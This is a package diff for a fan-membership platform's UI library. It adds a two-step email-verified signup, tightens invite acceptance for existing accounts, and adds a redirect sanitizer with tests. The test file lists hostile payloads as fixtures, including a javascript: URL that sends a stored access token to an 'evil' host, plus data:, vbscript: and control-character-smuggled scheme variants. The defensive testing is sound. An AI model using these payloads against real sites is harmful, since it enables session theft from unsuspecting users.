@tribe-nest/forge 2.2.0 → 3.2.0

package/src/ui/styled/SignupForm.tsx

@@ -52,51 +52,102 @@ export function SignupForm({ onSuccess, loginHref, membershipTierId, couponCode
 
   return (
     <div style={card}>
-      <h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>Create your account</h1>
+      <h1 style={{ fontSize: 24, fontWeight: 700, marginBottom: 24 }}>
+        {form.awaitingCode ? "Check your email" : "Create your account"}
+      </h1>
       {form.error && <p style={{ color: "#ef4444", marginBottom: 16 }}>{form.error}</p>}
       <form
         onSubmit={(e) => {
           e.preventDefault();
-          form.submit();
+          // Signup is two steps: create, then redeem the emailed code.
+          if (form.awaitingCode) form.submitCode();
+          else form.submit();
         }}
         style={{ display: "flex", flexDirection: "column", gap: 16 }}
       >
-        <div style={{ display: "flex", gap: 12 }}>
-          {field(
-            "First name",
-            <input value={form.firstName} onChange={(e) => form.setFirstName(e.target.value)} style={input} placeholder="First name" />,
-          )}
-          {field(
-            "Last name",
-            <input value={form.lastName} onChange={(e) => form.setLastName(e.target.value)} style={input} placeholder="Last name" />,
-          )}
-        </div>
-        {field(
-          "Email",
-          <input type="email" value={form.email} onChange={(e) => form.setEmail(e.target.value)} style={input} placeholder="Email" />,
+        {form.awaitingCode ? (
+          <>
+            <p style={{ fontSize: 14, margin: 0 }}>
+              We emailed a 6-digit code to <strong>{form.email}</strong>. Enter it to finish creating your account.
+            </p>
+            {field(
+              "Verification code",
+              <input
+                inputMode="numeric"
+                autoComplete="one-time-code"
+                value={form.code}
+                onChange={(e) => form.setCode(e.target.value)}
+                style={input}
+                placeholder="123456"
+              />,
+            )}
+          </>
+        ) : (
+          <>
+            <div style={{ display: "flex", gap: 12 }}>
+              {field(
+                "First name",
+                <input
+                  value={form.firstName}
+                  onChange={(e) => form.setFirstName(e.target.value)}
+                  style={input}
+                  placeholder="First name"
+                />,
+              )}
+              {field(
+                "Last name",
+                <input
+                  value={form.lastName}
+                  onChange={(e) => form.setLastName(e.target.value)}
+                  style={input}
+                  placeholder="Last name"
+                />,
+              )}
+            </div>
+            {field(
+              "Email",
+              <input
+                type="email"
+                value={form.email}
+                onChange={(e) => form.setEmail(e.target.value)}
+                style={input}
+                placeholder="Email"
+              />,
+            )}
+            {field(
+              "Password",
+              <input
+                type="password"
+                value={form.password}
+                onChange={(e) => form.setPassword(e.target.value)}
+                style={input}
+                placeholder="At least 8 characters"
+              />,
+            )}
+            <label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
+              <input
+                type="checkbox"
+                checked={form.acceptedTerms}
+                onChange={(e) => form.setAcceptedTerms(e.target.checked)}
+                style={{ accentColor: theme.colors.primary }}
+              />
+              I accept the Terms and Privacy Policy
+            </label>
+          </>
         )}
-        {field(
-          "Password",
-          <input
-            type="password"
-            value={form.password}
-            onChange={(e) => form.setPassword(e.target.value)}
-            style={input}
-            placeholder="At least 8 characters"
-          />,
-        )}
-        <label style={{ display: "flex", alignItems: "center", gap: 8, fontSize: 13 }}>
-          <input
-            type="checkbox"
-            checked={form.acceptedTerms}
-            onChange={(e) => form.setAcceptedTerms(e.target.checked)}
-            style={{ accentColor: theme.colors.primary }}
-          />
-          I accept the Terms and Privacy Policy
-        </label>
         <button type="submit" disabled={form.isSubmitting} style={button}>
-          {form.isSubmitting ? "Creating account…" : "Sign up"}
+          {form.isSubmitting ? "Working…" : form.awaitingCode ? "Verify and continue" : "Sign up"}
         </button>
+        {form.awaitingCode && (
+          <button
+            type="button"
+            onClick={() => form.resendCode()}
+            disabled={form.isSubmitting}
+            style={{ background: "none", border: "none", color: theme.colors.primary, cursor: "pointer", fontSize: 13 }}
+          >
+            Resend code
+          </button>
+        )}
       </form>
       <p style={{ marginTop: 16, fontSize: 14, textAlign: "center" }}>
         Already have an account?{" "}

package/src/ui/styled/work/WorkInviteAccept.tsx

@@ -3,6 +3,7 @@ import { CheckCircle2, FolderOpen } from "lucide-react";
 import { useForgeTheme } from "../../theme/ForgeThemeProvider";
 import { usePublicAuth } from "../../../contexts/PublicAuthContext";
 import { ACCESS_TOKEN_KEY } from "../../../contexts/PublicAuthContext";
+import { PUBLIC_REFRESH_TOKEN_KEY } from "../../../client/tokenStorage";
 import { Loading } from "../Loading";
 import { useAcceptWorkInvite, useWorkInvite } from "../../headless/work/useWorkPortal";
 
@@ -83,7 +84,12 @@ export function WorkInviteAccept({
     gap: 8,
   };
   const link: React.CSSProperties = { color: theme.colors.primary, textDecoration: "underline" };
-  const eyebrow: React.CSSProperties = { fontSize: 13, color: theme.colors.primary, fontWeight: 700, letterSpacing: 0.3 };
+  const eyebrow: React.CSSProperties = {
+    fontSize: 13,
+    color: theme.colors.primary,
+    fontWeight: 700,
+    letterSpacing: 0.3,
+  };
   const heading: React.CSSProperties = { fontSize: 22, fontWeight: 800, margin: "6px 0 14px" };
   const sub: React.CSSProperties = { fontSize: 14, color: `${theme.colors.text}b3`, marginBottom: 22 };
 
@@ -152,6 +158,42 @@ export function WorkInviteAccept({
     );
   }
 
+  /**
+   * The invited address already has a TribeNest account (C10). An invite grants
+   * portal ACCESS; it is not a credential reset for an account whose owner
+   * never asked for one — so there is no password form here, only a sign-in
+   * link. Accepting still runs, to consume the invite and link the contact.
+   */
+  if (invite.requiresExistingLogin) {
+    return (
+      <div style={card} data-testid="work-invite-accept">
+        {header}
+        <p style={sub}>
+          <strong>{invite.email}</strong> already has an account. Sign in and the project will be waiting for you.
+        </p>
+        <button
+          type="button"
+          style={button}
+          disabled={submitting}
+          data-testid="work-invite-signin"
+          onClick={async () => {
+            setSubmitting(true);
+            try {
+              // Consumes the invite and links the contact; returns no session.
+              await acceptInvite.mutateAsync({ token, projectId, password: "" });
+            } catch {
+              // Non-fatal: an already-consumed invite still leaves them able to
+              // sign in, which is the whole instruction on this screen.
+            }
+            window.location.assign(loginHref);
+          }}
+        >
+          Go to sign in
+        </button>
+      </div>
+    );
+  }
+
   const onAccept = async (e: React.FormEvent) => {
     e.preventDefault();
     setError("");
@@ -166,9 +208,16 @@ export function WorkInviteAccept({
     setSubmitting(true);
     try {
       const result = await acceptInvite.mutateAsync({ token, projectId, password });
-      // Persist the fresh portal session and hard-navigate so the auth context
-      // re-initializes as the invited client, then lands on the project.
+      if (result.requiresLogin || !result.token) {
+        // The address turned out to already have an account — no session is
+        // issued for it (C10). Send them to sign in.
+        window.location.assign(loginHref);
+        return;
+      }
+      // Persist the fresh portal session (access + rotating refresh token) and
+      // hard-navigate so the auth context re-initializes as the invited client.
       localStorage.setItem(ACCESS_TOKEN_KEY, result.token);
+      if (result.refreshToken) localStorage.setItem(PUBLIC_REFRESH_TOKEN_KEY, result.refreshToken);
       window.location.assign(projectHref);
     } catch (err) {
       setError(msg(err) || "Something went wrong. Please try again.");
@@ -182,8 +231,8 @@ export function WorkInviteAccept({
       <p style={sub}>
         {isAuthenticated && currentEmail && currentEmail !== invitedEmail ? (
           <>
-            You're signed in as <strong>{user?.email}</strong>, but this invite is for{" "}
-            <strong>{invite.email}</strong>. Set a password to continue as {invite.email}.
+            You're signed in as <strong>{user?.email}</strong>, but this invite is for <strong>{invite.email}</strong>.
+            Set a password to continue as {invite.email}.
           </>
         ) : (
           <>

package/src/utils/_tests/safeRedirect.spec.ts

@@ -0,0 +1,117 @@
+import { describe, expect, it } from "vitest";
+import { safeRedirectPath } from "../safeRedirect";
+
+/**
+ * C13 — reflected `javascript:` XSS and open redirect on every tenant member
+ * portal.
+ *
+ * `?redirect=` went straight to `window.location.href` in the platform-owned
+ * login/signup templates, so the payload fired after a LEGITIMATE login on the
+ * artist's real domain — and the stolen fan token was not profile-scoped, so it
+ * worked against every other artist too.
+ *
+ * The guard is an allowlist (same-origin root-relative path only), so these
+ * specs are mostly about proving the allowlist can't be talked around.
+ */
+describe("safeRedirectPath (C13)", () => {
+  const FALLBACK = "/i/account";
+
+  describe("rejects script-executing schemes", () => {
+    const PAYLOADS = [
+      // The audit's exact payload.
+      "javascript:fetch('//evil/'+localStorage.getItem('public-access-token'))",
+      "JavaScript:alert(1)",
+      "JAVASCRIPT:alert(1)",
+      "  javascript:alert(1)",
+      "data:text/html,<script>alert(1)</script>",
+      "vbscript:msgbox(1)",
+      "file:///etc/passwd",
+      // Control characters browsers strip while parsing the scheme.
+      "java\tscript:alert(1)",
+      "java\nscript:alert(1)",
+      "java\rscript:alert(1)",
+      "\u0000javascript:alert(1)",
+      "\u0001javascript:alert(1)",
+    ];
+
+    it.each(PAYLOADS)("refuses %j", (payload) => {
+      expect(safeRedirectPath(payload)).toBe(FALLBACK);
+    });
+  });
+
+  describe("rejects off-site targets", () => {
+    const PAYLOADS = [
+      "https://evil.example",
+      "http://evil.example/path",
+      "//evil.example",
+      "//evil.example/path",
+      "/\\evil.example",
+      "/\\\\evil.example",
+      "\\\\evil.example",
+      "evil.example",
+      "https://artist.tribenest.co.evil.example",
+    ];
+
+    it.each(PAYLOADS)("refuses %j", (payload) => {
+      expect(safeRedirectPath(payload)).toBe(FALLBACK);
+    });
+  });
+
+  describe("rejects anything that is not a string", () => {
+    it.each([undefined, null, 42, {}, [], true])("refuses %j", (value) => {
+      expect(safeRedirectPath(value)).toBe(FALLBACK);
+    });
+
+    it("refuses an empty or whitespace-only value", () => {
+      expect(safeRedirectPath("")).toBe(FALLBACK);
+      expect(safeRedirectPath("   ")).toBe(FALLBACK);
+      expect(safeRedirectPath("\t\n")).toBe(FALLBACK);
+    });
+  });
+
+  describe("keeps legitimate in-app destinations", () => {
+    it.each([
+      "/i/account",
+      "/i/members",
+      "/i/courses/123",
+      "/i/checkout?step=2",
+      "/i/orders?status=paid&page=3",
+      "/i/members#section",
+      "/",
+      // A path that merely CONTAINS a scheme-looking segment is still a path.
+      "/i/redirect?to=https%3A%2F%2Fexample.com",
+    ])("keeps %j", (path) => {
+      expect(safeRedirectPath(path)).toBe(path);
+    });
+
+    it("honours a caller-supplied fallback", () => {
+      expect(safeRedirectPath("javascript:alert(1)", "/i/home")).toBe("/i/home");
+      expect(safeRedirectPath("/i/real")).toBe("/i/real");
+    });
+  });
+
+  it("never returns a value that could execute or leave the origin", () => {
+    // Property-style backstop: whatever comes out is either the fallback or a
+    // root-relative path, for every input above and a few fuzzed ones.
+    const inputs = [
+      "javascript:alert(1)",
+      "//evil",
+      "/ok",
+      "/",
+      "  /ok  ",
+      " //evil",
+      "/\\evil",
+      "data:,x",
+      "?just=query",
+      "#hash",
+    ];
+    for (const input of inputs) {
+      const out = safeRedirectPath(input);
+      expect(out.startsWith("/")).toBe(true);
+      expect(out.startsWith("//")).toBe(false);
+      expect(out.startsWith("/\\")).toBe(false);
+      expect(out.toLowerCase()).not.toContain("javascript:");
+      expect(out.toLowerCase()).not.toContain("data:");
+    }
+  });
+});

package/src/utils/safeRedirect.ts

@@ -0,0 +1,41 @@
+/**
+ * Sanitize a `?redirect=` target before navigating to it (C13).
+ *
+ * The login and signup templates assigned the raw query parameter to
+ * `window.location.href`. Two bugs in one line:
+ *
+ *   - **Reflected XSS.** A `javascript:` target executes on the artist's REAL
+ *     domain, after a genuine successful login — so it steals a live member
+ *     token from a page the visitor has every reason to trust.
+ *   - **Open redirect.** An absolute URL sends a just-authenticated fan
+ *     off-site with the artist's domain as the referrer.
+ *
+ * The rule is deliberately strict: a same-origin ROOT-RELATIVE path, nothing
+ * else. Not "block javascript:" — a scheme denylist loses to tab/newline
+ * smuggling, `data:`, `vbscript:`, and whatever the next parser quirk turns out
+ * to be. Anything that fails falls back to `fallback`, so a mangled link still
+ * lands the user somewhere sensible instead of erroring.
+ *
+ * Rejected: absolute URLs, scheme-relative (`//evil.example`), the backslash
+ * variant (`/\\evil.example`, which browsers normalize to `//`), control
+ * characters used to smuggle a scheme past a naive check, and anything not
+ * starting with `/`.
+ */
+export const safeRedirectPath = (value: unknown, fallback = "/i/account"): string => {
+  if (typeof value !== "string") return fallback;
+
+  // Strip characters browsers ignore when parsing a URL scheme: a tab or
+  // newline inside "java<TAB>script:" is dropped before the scheme is read.
+  const cleaned = value.replace(/[\u0000-\u0020]/g, "").trim();
+  if (!cleaned) return fallback;
+
+  // Must be root-relative. This single check rejects `javascript:`, `data:`,
+  // `https://evil` and a bare `evil.example` in one go.
+  if (!cleaned.startsWith("/")) return fallback;
+
+  // `//host` and `/\host` are protocol-relative — off-site despite the leading
+  // slash.
+  if (cleaned.startsWith("//") || cleaned.startsWith("/\\")) return fallback;
+
+  return cleaned;
+};